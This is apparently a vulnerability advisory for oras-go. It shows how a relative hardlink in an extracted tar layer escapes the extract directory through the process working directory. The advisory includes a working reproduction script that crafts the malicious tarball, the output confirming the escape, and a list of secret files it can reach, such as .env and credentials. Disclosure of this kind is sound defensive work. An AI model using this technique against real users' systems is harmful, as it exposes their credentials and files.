Go · oras.land/oras-go/v2
`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution
The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
The caller for TypeLink hardlinks then does:
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
payload.tar.gz/README.txt.Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
payload.tar.gz/evil_cwd_link — passes.ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.target = "victim.secret" (NOT path).os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
# io.deis.oras.content.unpack: "true" on layers[0].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160
stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD"
Observed output:
evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD
A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.
Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.
Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.
High-severity chains:
oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.Not affected:
oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).fs.protected_hardlinks)On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.
So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:
| Invocation context | Reachable file classes |
|---|---|
oras pull run by a regular user |
Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. |
oras pull run as root (systemd |
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.